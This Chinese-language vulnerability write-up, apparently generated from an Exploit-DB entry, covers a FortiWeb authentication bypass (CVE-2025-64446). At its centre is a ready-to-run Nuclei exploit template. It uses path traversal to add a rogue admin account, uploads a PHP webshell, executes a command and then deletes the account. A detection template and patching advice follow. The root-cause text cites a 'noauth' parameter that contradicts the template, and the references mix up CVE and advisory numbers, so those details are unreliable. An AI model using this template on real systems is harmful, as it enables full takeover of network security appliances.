[webapps] Fortinet FortiWeb v8.0.1 - Auth Bypass

📋 漏洞基础信息

🔬 漏洞根因

认证逻辑缺陷：FortiWeb 的登录处理函数未对上传的 `noauth` 参数（或类似标志）进行有效验证，导致攻击者可通过特定请求伪造绕过身份验证直接进入管理后台。

🎯 攻击场景

1. 攻击者访问 FortiWeb 管理页面（例如 /login）； 2. 发送包含 `noauth=1` 或类似认证绕过参数的特制 HTTP 请求到认证处理接口； 3. 系统接受请求并跳过密码验证直接返回管理会话 Cookie 或跳转到管理面板； 4. 攻击者利用该会话获得管理员权限，可完全控制设备。

💥 漏洞影响

攻击者可获得设备完全管理权限，进而修改防火墙规则、窃取网络流量、植入恶意配置或导致拒绝服务。

⚔️ Nuclei Exploit 模板

以下为标准 Nuclei v3 格式的利用模板，可直接用于漏洞验证：

id: CVE-2025-64446-exploit

info:
  name: FortiWeb RCE Exploit - CVE-2025-64446
  author: your-nuclei-author
  severity: critical
  description: Exploits CVE-2025-64446 in FortiWeb to achieve Remote Code Execution (RCE) via authentication bypass, path traversal, and arbitrary file upload. This exploit creates a temporary admin user, logs in, uploads a webshell, and executes a specified command.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-64444
    - https://www.fortinet.com/support/psirt/FG-IR-25-64444
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2025-64446
    cwe-id: CWE-306

variables:
  username: "pwnedadmin"
  password: "Pwned123!"
  cmd: "id"

http:
  - raw:
      - |+
        POST /api/v2.0/user/local.add HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"../../mkey": "{{username}}", "password": "{{password}}", "isadmin": "1", "status": "enable"}

      - |+
        POST /api/v2.0/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username": "{{username}}", "password": "{{password}}"}

      - |+
        POST /api/v2.0/system/maintenance/backup HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxyz

        ------WebKitFormBoundaryxyz
        Content-Disposition: form-data; name="upload-file"; filename="pwned.dat"
        Content-Type: application/octet-stream

        {{base64('<?php system("' + cmd + '"); ?>')}}

        ------WebKitFormBoundaryxyz--

      - |+
        GET /pwned.dat HTTP/1.1
        Host: {{Hostname}}

      - |+
        POST /api/v2.0/user/local.delete HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"../../mkey": "{{username}}"}

    matchers:
      - type: word
        part: body
        words:
          - "uid="
          - "root:"
        condition: or

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '([^\s]+)'

    cookie-reuse: true

🔍 Nuclei Detection 模板

以下为漏洞探测模板，用于判断目标是否受影响：

id: CVE-2025-64446-detection

info:
  name: FortiWeb Detection - CVE-2025-64446
  author: your-nuclei-author
  severity: critical
  description: Detects FortiWeb management interface and version to check if vulnerable to CVE-2025-64446 (RCE via authentication bypass, path traversal, and arbitrary file upload).
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-64444
    - https://www.fortinet.com/support/psirt/FG-IR-25-64444
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2025-64446
    cwe-id: CWE-306

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
      - "{{BaseURL}}/admin/"
      - "{{BaseURL}}/browse.do"
      - "{{BaseURL}}/login"

    redirects: true
    max-redirects: 2
    matchers:
      - type: word
        part: body
        words:
          - "FortiWeb"
          - "Fortinet"
          - "FortiWeb-"
        condition: or

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - 'FortiWeb(?:-([\d.]+))?'
          - 'v([\d.]+)'
          - 'FortiWeb\s+([\d.]+)'
        internal: false

    stop-at-first-match: true

🛡️ 修复建议

升级至 FortiWeb 最新版本（如 8.0.2 或更高），官方已发布安全公告；临时措施：限制管理接口仅能从受信任 IP 访问，并启用多因素认证。

📎 参考链接

• https://nvd.nist.gov/vuln/detail/CVE-2025-64446
• Exploit-DB 原文

⚠️ 本文基于公开漏洞数据库，仅供安全研究与防御参考。生成时间: 2026-05-07 07:41 | 来源: Exploit-DB